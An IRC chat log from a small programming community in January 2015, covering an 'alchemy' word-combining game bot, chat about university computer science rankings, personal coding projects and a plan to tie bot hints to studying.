[2015-01-04T02:44:02-0500] <alchemy> You have: jacob, joy, kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music
[2015-01-04T02:44:02-0500] <alchemy> You have: mutant, neanderthal, nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain
[2015-01-04T02:44:02-0500] <alchemy> You have: rainbow, restaurant, robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin
[2015-01-04T02:44:02-0500] <alchemy> You have: thunder, time, tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T02:44:02-0500] <alchemy> That's 118 out of 162!
[2015-01-04T02:44:22-0500] <Tamini_> @combine server house
[2015-01-04T02:44:22-0500] <alchemy> server and house don't make anything exciting.
[2015-01-04T02:44:28-0500] <Tamini_> @combine hacker house
[2015-01-04T02:44:29-0500] <alchemy> hacker and house don't make anything exciting.
[2015-01-04T02:44:38-0500] <Tamini_> @combine hope evil
[2015-01-04T02:44:38-0500] <alchemy> hope and evil don't make anything exciting.
[2015-01-04T02:44:45-0500] <Tamini_> @combine hope tomorrow
[2015-01-04T02:44:47-0500] <alchemy> hope and tomorrow don't make anything exciting.
[2015-01-04T02:45:04-0500] <Tamini_> darn i think kartik told us there was happynewyear or something
[2015-01-04T02:45:32-0500] <ubuntor> @combine time time
[2015-01-04T02:45:33-0500] <alchemy> You already combined time and time to get tomorrow.
[2015-01-04T02:45:36-0500] <ubuntor> @combine time tomorrow
[2015-01-04T02:45:37-0500] <alchemy> time and tomorrow don't make anything exciting.
[2015-01-04T02:45:41-0500] <ubuntor> @combine tomorrow tomorrow
[2015-01-04T02:45:42-0500] <alchemy> tomorrow and tomorrow don't make anything exciting.
[2015-01-04T02:45:59-0500] <ubuntor> @combine christmas tomorrow
[2015-01-04T02:46:00-0500] <alchemy> christmas and tomorrow don't make anything exciting.
[2015-01-04T02:51:27-0500] <nezorg> alright
[2015-01-04T02:51:35-0500] <Tamini_> @hint
[2015-01-04T02:51:35-0500] <nezorg> night night y'all
[2015-01-04T02:51:36-0500] <alchemy> You're out of hints for this hour.
[2015-01-04T02:51:39-0500] <Tamini_> night nezorg
[2015-01-04T02:51:41-0500] <ubuntor> night
[2015-01-04T02:51:41-0500] <Tamini_> :P
[2015-01-04T02:51:44-0500] <Tamini_> its almost midnight
[2015-01-04T02:51:47-0500] <Tamini_> so late for you
[2015-01-04T02:51:54-0500] <nezorg> and almost school
[2015-01-04T02:52:16-0500] <Tamini_> haha yeah
[2015-01-04T02:52:24-0500] <Tamini_> i should goto bed soon too
[2015-01-04T02:52:30-0500] <Tamini_> gnight man
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[2015-01-04T09:03:44-0500] <+JacobEdelman> gmorning
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[2015-01-04T09:39:10-0500] <The_Master> awe: Are you awake?
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[2015-01-04T12:08:06-0500] <@awe> The_Master: I am now
[2015-01-04T12:08:23-0500] <@awe> Dog did not walk on my face to make me get up.
[2015-01-04T12:08:27-0500] <@awe> So, I didn't wake up until now.
[2015-01-04T12:08:40-0500] <alokpathy> Nice alarm clock :P
[2015-01-04T12:08:47-0500] <alokpathy> or, alarm dog.
[2015-01-04T12:14:09-0500] <+Tamini> lol
[2015-01-04T12:14:56-0500] <+hardmath123> gmorning folks
[2015-01-04T12:15:10-0500] <alokpathy> hardmath123: Morning for you :P
[2015-01-04T12:17:31-0500] <+hardmath123> you know what's strange? the only code of mine that people care use is the code i wrote on a whim and have no interest in maintaining
[2015-01-04T12:18:05-0500] <@awe> which is?
[2015-01-04T12:18:12-0500] <alokpathy> The irony xD
[2015-01-04T12:18:16-0500] <+hardmath123> snapin8r, nearley, even alchemy
[2015-01-04T12:18:34-0500] <+hardmath123> a paint editor i wrote
[2015-01-04T12:19:22-0500] <ubuntor> morning
[2015-01-04T12:19:36-0500] <+hardmath123> morning ubuntor 
[2015-01-04T12:19:45-0500] <+JacobEdelman> what code have you done that was meant for other people to use?
[2015-01-04T12:19:57-0500] <+JacobEdelman> (that was to hardmath123)
[2015-01-04T12:20:20-0500] <@awe> hardmath123: yeah, nearley has almost 100 stars.
[2015-01-04T12:21:06-0500] <alokpathy> woo
[2015-01-04T12:21:38-0500] <+hardmath123> hardmath123: eh, i published some stuff on npm
[2015-01-04T12:21:51-0500] <alokpathy> Lol, pinged yourself again.
[2015-01-04T12:22:13-0500] <@awe> hardmath123: https://github.com/prakhar1989/awesome-courses
[2015-01-04T12:22:16-0500] <+hardmath123> it's not my fault that ja<tab> and ha<tab> are very close on the keyboard.
[2015-01-04T12:22:26-0500] <+hardmath123> awe: yeah?
[2015-01-04T12:22:29-0500] <@awe> hardmath123: this list is fucked up
[2015-01-04T12:22:35-0500] <+hardmath123> ...
[2015-01-04T12:22:40-0500] • hardmath123: contributed to that list.
[2015-01-04T12:22:43-0500] <@awe> I know.
[2015-01-04T12:22:46-0500] <@awe> That's how I found it.
[2015-01-04T12:23:16-0500] <@awe> It's basically just a list of courses at high-ranking universities plus a bunch from CUNY Hunter for some reason.
[2015-01-04T12:23:41-0500] <+hardmath123> well cs164 and cs10 (at ucb) are both awesome.
[2015-01-04T12:23:57-0500] <@awe> Nevermind the fact that almost all of the things they talk about are COMPLETELY STANDARD FOR EVERY UNIVERSITY
[2015-01-04T12:24:10-0500] <@awe> Wow, a systems class?
[2015-01-04T12:24:56-0500] <+hardmath123> JacobEdelman: what bothers me is that other people can write dumb, useless JavaScript "frameworks" that just look vaguely pretty and get a thousand users. But my attempts at useful software packaged as a faux-framework go unnoticed.
[2015-01-04T12:25:12-0500] <@awe> "This course taught in the MIT Independent Activities Period in 2009 goes over common solution to common interterview questions for software engineer interviews at highly selective companies like Apple, Google, and Facebook."
[2015-01-04T12:25:14-0500] <@awe> You're kidding, right?
[2015-01-04T12:25:22-0500] <@awe> There's a course on interview questions?
[2015-01-04T12:26:17-0500] <@awe> hardmath123: and of course both the courses at UC Berkley are awesome.
[2015-01-04T12:26:33-0500] <@awe> hardmath123: UC Berkley is in the top twenty CS unis.
[2015-01-04T12:27:12-0500] <alokpathy> awe: It's one of the best
[2015-01-04T12:27:17-0500] <@awe> I know.
[2015-01-04T12:27:31-0500] <alokpathy> As in, probably top 5
[2015-01-04T12:27:42-0500] <@awe> Depends on what you're studying
[2015-01-04T12:27:45-0500] <@awe> but yeah, usually in the top 5.
[2015-01-04T12:28:02-0500] <@awe> It drops out if you're doing theory though.
[2015-01-04T12:28:19-0500] <alokpathy> I thought it was really good for theory?
[2015-01-04T12:28:35-0500] <alokpathy> I know they have some really good researchers.
[2015-01-04T12:29:08-0500] <@awe> Oh, yea.
[2015-01-04T12:29:11-0500] <@awe> They are #1 in theory.
[2015-01-04T12:29:20-0500] <@awe> and systems
[2015-01-04T12:29:26-0500] <alokpathy> yey
[2015-01-04T12:29:32-0500] <@awe> #2 in number of programming languages taught to you.
[2015-01-04T12:29:45-0500] <@awe> well, and arbitrary "quality" of those languages being taught to you.
[2015-01-04T12:29:53-0500] <@awe> and #4 in AI.
[2015-01-04T12:29:56-0500] <alokpathy> lolol
[2015-01-04T12:29:59-0500] <@awe> they're tied for #1 overall
[2015-01-04T12:30:11-0500] <@awe> according to US News and World Report
[2015-01-04T12:30:25-0500] <alokpathy> [prays for Berkeley acceptance]
[2015-01-04T12:30:37-0500] <@awe> Grad school and undergrad are not the same.
[2015-01-04T12:31:00-0500] <alokpathy> I'd think it's unlikely you'll have a superb grad school and a mediocre undergrad.
[2015-01-04T12:31:01-0500] <@awe> I hope you have $60k/year if you get in though.
[2015-01-04T12:31:12-0500] <+hardmath123> awe: they're switching to python for some intro courses, i think (re languages taught to you)
[2015-01-04T12:31:13-0500] <alokpathy> Yeah, I was about to say [and good finaid]
[2015-01-04T12:31:21-0500] <+hardmath123> awe: oh wait no that's apcs.
[2015-01-04T12:31:34-0500] <@awe> alokpathy: depends on how you consider mediocre.
[2015-01-04T12:31:38-0500] <alokpathy> They're switching APCS to Python?
[2015-01-04T12:31:48-0500] <+hardmath123> so say the rumors, yes
[2015-01-04T12:31:58-0500] <+hardmath123> they already got rid of gridworld
[2015-01-04T12:32:04-0500] <alokpathy> awe: Well, they're probably roughly the same.
[2015-01-04T12:32:10-0500] <+Tamini> oh man
[2015-01-04T12:32:10-0500] <alokpathy> awe: grad school and undergrad
[2015-01-04T12:32:10-0500] <+Tamini> gridworld
[2015-01-04T12:32:20-0500] <+hardmath123> brings back bad memories
[2015-01-04T12:32:26-0500] <@awe> I go to a #25 school which I guess makes it pretty eh.
[2015-01-04T12:32:31-0500] <+hardmath123> in our year, we had to implement a Rock for the exam
[2015-01-04T12:32:32-0500] <+hardmath123> a rock
[2015-01-04T12:32:38-0500] <@awe> It at least means that it isn't the dream school for rich kids.
[2015-01-04T12:32:52-0500] <@awe> I'd like to think I can still go to a better grad school.
[2015-01-04T12:32:56-0500] <@awe> It's entirely about research.
[2015-01-04T12:33:08-0500] <alokpathy> Yeah.
[2015-01-04T12:33:18-0500] <@awe> If I get something good published then I can pretty much go wherever.
[2015-01-04T12:33:32-0500] <alokpathy> woo
[2015-01-04T12:33:33-0500] <@awe> If you're at a really terrible school, there's no capacity for research.
[2015-01-04T12:33:34-0500] <+Tamini> oh i remember that
[2015-01-04T12:33:35-0500] <+Tamini> LOL
[2015-01-04T12:33:38-0500] <@awe> (I'm looking at you, Rutgers CS professors)
[2015-01-04T12:33:40-0500] <+Tamini> gridworld api tho
[2015-01-04T12:33:48-0500] <@awe> hardmath123: lol
[2015-01-04T12:33:53-0500] <alokpathy> awe: For CS theory they're good
[2015-01-04T12:34:00-0500] <@awe> alokpathy: the professors don't care about research
[2015-01-04T12:34:02-0500] <alokpathy> awe: I know a sophomore there who's about to publish his second paper with a prof
[2015-01-04T12:34:03-0500] <@awe> alokpathy: that's the issue
[2015-01-04T12:34:08-0500] <@awe> that's surprising.
[2015-01-04T12:34:18-0500] <@awe> I know a couple people who said they couldn't get support for it anywhere.
[2015-01-04T12:34:28-0500] <alokpathy> Really?
[2015-01-04T12:34:29-0500] <alokpathy> hm
[2015-01-04T12:34:37-0500] <alokpathy> For theory?
[2015-01-04T12:34:38-0500] <@awe> One who eventually went to CMU for Robotics
[2015-01-04T12:34:45-0500] <@awe> and one who didn't go to grad school because no research
[2015-01-04T12:34:55-0500] <@awe> (instead he went to work at IBM as a kernel dev)
[2015-01-04T12:34:59-0500] <alokpathy> Oh, dang.
[2015-01-04T12:35:04-0500] <alokpathy> Oh nice IBM
[2015-01-04T12:35:23-0500] <@awe> not sure if he still works at IBM but he recently moved to Massachusetts.
[2015-01-04T12:36:05-0500] <@awe> alokpathy: you're making a chat client in node?
[2015-01-04T12:36:25-0500] <alokpathy> awe: Lol you're stalking my github?
[2015-01-04T12:36:32-0500] <@awe> It showed up on my home feed.
[2015-01-04T12:36:35-0500] <alokpathy> awe: Sort of. It's mainly to get a hang of Node.
[2015-01-04T12:36:42-0500] <+hardmath123> alokpathy: go write hoth!
[2015-01-04T12:37:50-0500] <alokpathy> hardmath123: Hoth?
[2015-01-04T12:38:03-0500] <alokpathy> hardmath123: https://github.com/aarongreenlee/Hoth ?
[2015-01-04T12:40:40-0500] <@awe> Argh.
[2015-01-04T12:41:01-0500] <@awe> All of my Rust projects are broken right now, and I can't fix them until an upstream library is updated.
[2015-01-04T12:41:13-0500] <alokpathy> Aw
[2015-01-04T12:42:43-0500] <alokpathy> awe: Do you prefer pdgn over vana?
[2015-01-04T12:42:43-0500] <alokpathy> The correct answer is yes.
[2015-01-04T12:42:51-0500] <@awe> Why?
[2015-01-04T12:43:01-0500] <@awe> Technically, it's harder to like here more.
[2015-01-04T12:43:07-0500] <alokpathy> Lol idk.
[2015-01-04T12:43:09-0500] <@awe> Everybody here does dynamic languages.
[2015-01-04T12:43:32-0500] <@awe> Everyone in Vana does statically typed languages, and mostly everyone is down with the functional.
[2015-01-04T12:43:41-0500] <+hardmath123> alokpathy: no, nathan/hoth
[2015-01-04T12:43:55-0500] <alokpathy> awe: bob_twinkles doesn't, I think
[2015-01-04T12:43:56-0500] <+hardmath123> it's called hoth because HOrizontal THreading
[2015-01-04T12:43:57-0500] <@awe> We don't even have a C++fag anymore because he does Rust now.
[2015-01-04T12:44:07-0500] <+hardmath123> it's like irc, but better
[2015-01-04T12:44:25-0500] <alokpathy> awe: I do more Java than JS.
[2015-01-04T12:44:29-0500] <alokpathy> awe: I'm learning Rust :D
[2015-01-04T12:44:35-0500] <alokpathy> hardmath123: Hmm [looks up]
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[2015-01-04T12:46:20-0500] <+hardmath123> actually feel free to run a hoth instance on backtick
[2015-01-04T12:46:42-0500] <alokpathy> hardmath123: Oh hm okay
[2015-01-04T12:47:00-0500] <@awe> hardmath123: how is this better?
[2015-01-04T12:47:10-0500] <@awe> alokpathy: I think of you like I think of Tamini: without a language.
[2015-01-04T12:47:25-0500] <+hardmath123> awe: because the guy who wrote it is sort of a god in my opinion
[2015-01-04T12:47:35-0500] <jacobedelman_> what are yall talking about?
[2015-01-04T12:47:50-0500] <@awe> Why
[2015-01-04T12:47:51-0500] <@awe> ?
[2015-01-04T12:47:56-0500] <alokpathy> awe: Aw :(
[2015-01-04T12:48:28-0500] <@awe> hardmath123: he appears to just work on Scratch in JS.
[2015-01-04T12:49:01-0500] <+hardmath123> yes
[2015-01-04T12:49:06-0500] <+hardmath123> with god-like talent
[2015-01-04T12:49:21-0500] <jacobedelman_> hardmath123:who?
[2015-01-04T12:49:54-0500] <+hardmath123> jacobedelman_: github/nathan
[2015-01-04T12:50:23-0500] <jacobedelman_> oh wow
[2015-01-04T12:50:27-0500] <jacobedelman_> scratch to js
[2015-01-04T12:50:29-0500] <+Tamini> you think i'm without a language? :P
[2015-01-04T12:50:44-0500] <+Tamini> mathematica all the way :P
[2015-01-04T12:52:03-0500] <+hardmath123> mathematica is unfree D:
[2015-01-04T12:52:21-0500] <+Tamini> if you go to tj it is
[2015-01-04T12:52:30-0500] <jacobedelman_> still not free
[2015-01-04T12:52:34-0500] <jacobedelman_> thats free as in beer
[2015-01-04T12:52:39-0500] <jacobedelman_> I want free as in speech
[2015-01-04T12:53:06-0500] <+hardmath123> free as in stallman
[2015-01-04T12:53:42-0500] <jacobedelman_> gtg, lunch
[2015-01-04T12:54:32-0500] • hardmath123: is still contemplating breakfast.
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[2015-01-04T12:55:55-0500] <alokpathy> hardmath123: I had breakfast at about 11
[2015-01-04T12:55:58-0500] <alokpathy> 9:55 is too early :P
[2015-01-04T12:57:29-0500] <alokpathy> Tamini: Let's try to think of this in a good way.
[2015-01-04T12:57:40-0500] <+Tamini> alokpathy: we have infinite potential?
[2015-01-04T12:57:41-0500] <+Tamini> :P
[2015-01-04T12:57:42-0500] <+Tamini> ooh also
[2015-01-04T12:57:44-0500] <+Tamini> @hint
[2015-01-04T12:57:44-0500] <alchemy> Resetting hint counter.
[2015-01-04T12:57:44-0500] <alchemy> Hint: It's possible to make soil with earth!
[2015-01-04T12:57:44-0500] <alchemy> You have 3 hints left this hour.
[2015-01-04T12:57:48-0500] <+Tamini> @hint
[2015-01-04T12:57:48-0500] <alchemy> Hint: It's possible to make exploit with blackhat!
[2015-01-04T12:57:48-0500] <alchemy> You have 2 hints left this hour.
[2015-01-04T12:57:52-0500] <+Tamini> @hint
[2015-01-04T12:57:53-0500] <alchemy> Hint: It's possible to make treebeard with ent!
[2015-01-04T12:57:53-0500] <alchemy> You have 1 hints left this hour.
[2015-01-04T12:57:57-0500] <alokpathy> Tamini: Or we're very "pure"
[2015-01-04T12:57:59-0500] <+Tamini> @combine blackhat evil
[2015-01-04T12:58:00-0500] <alchemy> blackhat and evil don't make anything exciting.
[2015-01-04T12:58:02-0500] <+Tamini> @hint
[2015-01-04T12:58:02-0500] <alchemy> Hint: It's possible to make fireman with fire!
[2015-01-04T12:58:02-0500] <alchemy> You have 0 hints left this hour.
[2015-01-04T12:58:08-0500] <+Tamini> @combine blackhat server
[2015-01-04T12:58:08-0500] <alchemy> blackhat and server don't make anything exciting.
[2015-01-04T12:58:14-0500] <+Tamini> @combine blackhat computer
[2015-01-04T12:58:15-0500] <alchemy> blackhat and computer don't make anything exciting.
[2015-01-04T12:58:17-0500] <alokpathy> hardmath123: If we have a hint limit, can you make it so the hints aren't for something we already have? xD
[2015-01-04T12:58:18-0500] <alokpathy> @list
[2015-01-04T12:58:19-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, darude, earth, einstein, electricity, energy
[2015-01-04T12:58:19-0500] <alchemy> You have: engine, ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, hope, house, ice, internet
[2015-01-04T12:58:19-0500] <alchemy> You have: jacob, joy, kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music
[2015-01-04T12:58:19-0500] <alchemy> You have: mutant, neanderthal, nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain
[2015-01-04T12:58:19-0500] <alchemy> You have: rainbow, restaurant, robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin
[2015-01-04T12:58:19-0500] <alchemy> You have: thunder, time, tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T12:58:19-0500] <alchemy> That's 118 out of 162!
[2015-01-04T12:58:30-0500] <ubuntor> @combine blackhat tool
[2015-01-04T12:58:31-0500] <alchemy> blackhat and tool don't make anything exciting.
[2015-01-04T12:58:41-0500] <alokpathy> @combine blackhat evil
[2015-01-04T12:58:42-0500] <alchemy> blackhat and evil don't make anything exciting.
[2015-01-04T12:58:48-0500] <ubuntor> @combine blackhat hope
[2015-01-04T12:58:49-0500] <alchemy> blackhat and hope don't make anything exciting.
[2015-01-04T12:59:15-0500] <ubuntor> @combine hacker hope
[2015-01-04T12:59:16-0500] <alchemy> hacker and hope don't make anything exciting.
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[2015-01-04T13:10:18-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-04T13:10:18-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-04T12:54:32-0500] • hardmath123: is still contemplating breakfast.
[2015-01-04T12:55:54-0500] <alokpathy> hardmath123: I had breakfast at about 11
[2015-01-04T12:55:58-0500] <alokpathy> 9:55 is too early :P
[2015-01-04T12:57:28-0500] <alokpathy> Tamini: Let's try to think of this in a good way.
[2015-01-04T12:57:40-0500] <+Tamini> alokpathy: we have infinite potential?
[2015-01-04T12:57:41-0500] <+Tamini> :P
[2015-01-04T12:57:42-0500] <+Tamini> ooh also
[2015-01-04T12:57:44-0500] <+Tamini> @hint
[2015-01-04T12:57:44-0500] <alchemy> Resetting hint counter.
[2015-01-04T12:57:44-0500] <alchemy> Hint: It's possible to make soil with earth!
[2015-01-04T12:57:44-0500] <alchemy> You have 3 hints left this hour.
[2015-01-04T12:57:47-0500] <+Tamini> @hint
[2015-01-04T12:57:48-0500] <alchemy> Hint: It's possible to make exploit with blackhat!
[2015-01-04T12:57:48-0500] <alchemy> You have 2 hints left this hour.
[2015-01-04T12:57:52-0500] <+Tamini> @hint
[2015-01-04T12:57:53-0500] <alchemy> Hint: It's possible to make treebeard with ent!
[2015-01-04T12:57:53-0500] <alchemy> You have 1 hints left this hour.
[2015-01-04T12:57:57-0500] <alokpathy> Tamini: Or we're very "pure"
[2015-01-04T12:57:59-0500] <+Tamini> @combine blackhat evil
[2015-01-04T12:58:00-0500] <alchemy> blackhat and evil don't make anything exciting.
[2015-01-04T12:58:01-0500] <+Tamini> @hint
[2015-01-04T12:58:02-0500] <alchemy> Hint: It's possible to make fireman with fire!
[2015-01-04T12:58:02-0500] <alchemy> You have 0 hints left this hour.
[2015-01-04T12:58:08-0500] <+Tamini> @combine blackhat server
[2015-01-04T12:58:08-0500] <alchemy> blackhat and server don't make anything exciting.
[2015-01-04T12:58:14-0500] <+Tamini> @combine blackhat computer
[2015-01-04T12:58:14-0500] <alchemy> blackhat and computer don't make anything exciting.
[2015-01-04T12:58:17-0500] <alokpathy> hardmath123: If we have a hint limit, can you make it so the hints aren't for something we already have? xD
[2015-01-04T12:58:18-0500] <alokpathy> @list
[2015-01-04T12:58:18-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, axe, bach, backstroke, blackhat, boat, chivalry, christmas, cloud, computer, crops, darude, earth, einstein, electricity, energy
[2015-01-04T12:58:18-0500] <alchemy> You have: engine, ent, euler, evil, fire, fireman, food, friendship, genius, gmo, google, hacker, hal, hardmath, hofstader, hole, hope, house, ice, internet
[2015-01-04T12:58:18-0500] <alchemy> You have: jacob, joy, kitt, knight, lava, letitgoooooo, light, lightning, lightsaber, limerick, linux, love, loveletter, man, math, megamind, mel, metal, mountain, music
[2015-01-04T12:58:18-0500] <alchemy> You have: mutant, neanderthal, nexorg, ninja, noise, ocean, olaf, paper, pdgn, penguin, perry, pidgeon, pidgey, pingu, plant, platypus, pool, puddle, python, rain
[2015-01-04T12:58:18-0500] <alchemy> You have: rainbow, restaurant, robot, rock, rust, sandstorm, santa, science, sculpture, sentience, server, ship, snow, snowman, soil, starship, steam, stone, sword, sysadmin
[2015-01-04T12:58:18-0500] <alchemy> You have: thunder, time, tomorrow, tool, tornado, torvalds, tree, treebeard, tsunami, villain, war, water, whitehat, whitespace, wind, wood, xkcd, zombie
[2015-01-04T12:58:18-0500] <alchemy> That's 118 out of 162!
[2015-01-04T12:58:30-0500] <ubuntor> @combine blackhat tool
[2015-01-04T12:58:31-0500] <alchemy> blackhat and tool don't make anything exciting.
[2015-01-04T12:58:41-0500] <alokpathy> @combine blackhat evil
[2015-01-04T12:58:42-0500] <alchemy> blackhat and evil don't make anything exciting.
[2015-01-04T12:58:48-0500] <ubuntor> @combine blackhat hope
[2015-01-04T12:58:49-0500] <alchemy> blackhat and hope don't make anything exciting.
[2015-01-04T12:59:15-0500] <ubuntor> @combine hacker hope
[2015-01-04T12:59:16-0500] <alchemy> hacker and hope don't make anything exciting.
[2015-01-04T13:05:01-0500] <+Tamini> @possible religion
[2015-01-04T13:05:01-0500] <alchemy> No, you can't make religion.
[2015-01-04T13:08:49-0500] <ubuntor> @combine math math
[2015-01-04T13:08:49-0500] <alchemy> math and math don't make anything exciting.
[2015-01-04T13:09:06-0500] <+hardmath123> oh gosh
[2015-01-04T13:09:24-0500] <+hardmath123> the 3-hint-per-hour thing is causing people to start alchemying every hour :P
[2015-01-04T13:10:19-0500] Mode is +ns
[2015-01-04T13:10:33-0500] <+Tamini> you mean that wasnt what you were going for
[2015-01-04T13:10:53-0500] <@awe> hardmath123: you have to be careful about what incentive structures you build.
[2015-01-04T13:11:35-0500] <+hardmath123> hmm, i wonder if i can incentivize people to do my homework through alchemy
[2015-01-04T13:12:26-0500] <@awe> hardmath123: bonus hints for each problem solved
[2015-01-04T13:12:34-0500] <@awe> hardmath123: or each assignment finished
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[2015-01-04T13:12:45-0500] <+hardmath123> so
[2015-01-04T13:12:47-0500] <+hardmath123> @hint
[2015-01-04T13:12:47-0500] <alchemy> Write hardmath123 an essay and then we'll talk.
[2015-01-04T13:12:47-0500] <alchemy> Hint: It's possible to make pool with water!
[2015-01-04T13:12:47-0500] <alchemy> You have 3 hints left this hour.
[2015-01-04T13:13:09-0500] <@awe> @hint
[2015-01-04T13:13:09-0500] <alchemy> Write hardmath123 an essay and then we'll talk.
[2015-01-04T13:13:09-0500] <alchemy> Hint: It's possible to make exploit with blackhat!
[2015-01-04T13:13:09-0500] <alchemy> You have 2 hints left this hour.
[2015-01-04T13:13:11-0500] <@awe> @hint
[2015-01-04T13:13:12-0500] <alchemy> Write hardmath123 an essay and then we'll talk.
[2015-01-04T13:13:12-0500] <@awe> @hint
[2015-01-04T13:13:12-0500] <alchemy> Hint: It's possible to make ocean with water!
[2015-01-04T13:13:12-0500] <alchemy> You have 1 hints left this hour.
[2015-01-04T13:13:13-0500] <alchemy> Write hardmath123 an essay and then we'll talk.
[2015-01-04T13:13:13-0500] <alchemy> Hint: It's possible to make hope with tomorrow!
[2015-01-04T13:13:13-0500] <alchemy> You have 0 hints left this hour.
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[2015-01-04T13:13:27-0500] <+Tamini> wait hardmath123 
[2015-01-04T13:13:29-0500] <+Tamini> thats a great idea
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[2015-01-04T13:13:36-0500] <+hardmath123> @hint
[2015-01-04T13:13:39-0500] <alchemy> Write hardmath123 an essay and then we'll talk.
[2015-01-04T13:13:46-0500] <+hardmath123> There we go.
[2015-01-04T13:13:46-0500] <+Tamini> wow
[2015-01-04T13:13:51-0500] <+Tamini> write him an essay?
[2015-01-04T13:13:51-0500] <+Tamini> :<
[2015-01-04T13:13:57-0500] <+Tamini> wait wait wait
[2015-01-04T13:13:59-0500] <+Tamini> can we go on #study
[2015-01-04T13:14:10-0500] <+Tamini> and and do work
[2015-01-04T13:14:16-0500] <@awe> lolwor
[2015-01-04T13:14:17-0500] <@awe> k
[2015-01-04T13:14:17-0500] <+JacobEdelman> okay
[2015-01-04T13:14:19-0500] <+Tamini> and you can unlock hints during break? :P
[2015-01-04T13:14:21-0500] <+hardmath123> yeah, alchemy comes onto #study every 20 minutes between study sessions.
[2015-01-04T13:14:27-0500] <+Tamini> LOL
[2015-01-04T13:14:27-0500] <+hardmath123> with new hints.
[2015-01-04T13:14:31-0500] <+Tamini> yes
[2015-01-04T13:14:37-0500] <+hardmath123> and then vanishes while you study
[2015-01-04T13:14:43-0500] <+Tamini> where's studybot D:
[2015-01-04T13:14:46-0500] <+Tamini> and yes LOL
[2015-01-04T13:15:15-0500] <+hardmath123> studybot is in ~/Desktop/lame_projects/studybot/, last time i checked
[2015-01-04T13:15:33-0500] <+Tamini> hardmath123: come to study
[2015-01-04T13:15:37-0500] <+Tamini> and bring studybot <3
[2015-01-04T13:16:07-0500] <+hardmath123> awe: i think i went too far and incentivized Tamini to study on the last day of winter break D:
[2015-01-04T13:16:15-0500] <+Tamini> hardmath123: i have homework!
[2015-01-04T13:16:16-0500] <+Tamini> >.<
[2015-01-04T13:17:43-0500] <+hardmath123> Tamini: happy?
[2015-01-04T13:18:41-0500] <+Tamini> <3
[2015-01-04T13:20:18-0500] <+hardmath123> I love how #study has more people than #relationships.
[2015-01-04T13:20:23-0500] <+hardmath123> This is a good server.
[2015-01-04T13:23:03-0500] <+JacobEdelman> agreed
[2015-01-04T13:23:18-0500] <+JacobEdelman> also, I like how I'm owner of basicly every channell besides #pdgn
[2015-01-04T13:24:01-0500] <+JacobEdelman> including #not_owned_by_jacobedelman 
[2015-01-04T13:29:40-0500] <+hardmath123> @choose finish my MIDI-based markov chain generation project or write a good piece of IF
[2015-01-04T13:30:06-0500] <+hardmath123> ...
[2015-01-04T13:32:42-0500] <+JacobEdelman> IF
[2015-01-04T13:36:25-0500] <ubuntor> ^
[2015-01-04T13:36:47-0500] <ubuntor> hmm, we should have irc puzzles
[2015-01-04T13:40:00-0500] <+Tamini> @hint
[2015-01-04T13:40:00-0500] <alchemy> Write hardmath123 an essay and then we'll talk.
[2015-01-04T13:40:07-0500] <+Tamini> you lied :<
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[2015-01-04T14:30:00-0500] <+JacobEdelman> @list
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[2015-01-04T14:38:12-0500] <+hardmath123> yessss my dad just read an article in wsj that said camo is coming back into style
[2015-01-04T14:38:17-0500] • hardmath123: is inadvertantly ahead of the game
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[2015-01-04T14:44:07-0500] <@awe> hardmath123: lol
[2015-01-04T14:44:20-0500] <@awe> hardmath123: you're asking a financial journal to tell you what clothes are in style.
[2015-01-04T14:48:48-0500] <+Tamini> i see nothing wrong with that :P
[2015-01-04T14:49:09-0500] • Pharyngeal: dances
[2015-01-04T14:49:11-0500] <Pharyngeal> JacobEdelman: I don't think we've talked yet
[2015-01-04T14:49:35-0500] <+JacobEdelman> true
[2015-01-04T14:49:44-0500] <+JacobEdelman> so, how'd you come to join pdgn?
[2015-01-04T14:49:57-0500] <alokpathy> Pharyngeal: You like to dance too? :D
[2015-01-04T14:50:26-0500] <Pharyngeal> JacobEdelman: Great question. I either saw you or awe post something somewhere.
[2015-01-04T14:50:35-0500] <Pharyngeal> awe swears it was you, but idk
[2015-01-04T14:50:45-0500] <@awe> I know it wasn't me.
[2015-01-04T14:50:52-0500] <@awe> I've never posted anywhere about Pggn.
[2015-01-04T14:50:56-0500] <Pharyngeal> xD
[2015-01-04T14:51:07-0500] <Pharyngeal> So yeah, no idea
[2015-01-04T14:51:09-0500] <@awe> Pdgn*
[2015-01-04T14:51:25-0500] <@awe> JacobEdelman: you posted on HH right?
[2015-01-04T14:52:17-0500] <+JacobEdelman> awe: not about pdgn
[2015-01-04T14:52:29-0500] <+JacobEdelman> Pharyngeal: are you in hs?
[2015-01-04T14:52:35-0500] <alokpathy> JacobEdelman: Wait I thought you advertised pdgn in hshackers
[2015-01-04T14:52:37-0500] <alokpathy> the IRC channel
[2015-01-04T14:52:41-0500] <+JacobEdelman> ah, that I did
[2015-01-04T14:52:48-0500] <Pharyngeal> Ah! maybe that was it?
[2015-01-04T14:52:53-0500] <@awe> It has to be.
[2015-01-04T14:52:57-0500] <Pharyngeal> Which channel?
[2015-01-04T14:53:15-0500] <Pharyngeal> And no, I'm not in High School.
[2015-01-04T14:53:17-0500] <+JacobEdelman> I posted on the irc.freenode.net hshackers channell
[2015-01-04T14:53:34-0500] <Pharyngeal> So that was probably it
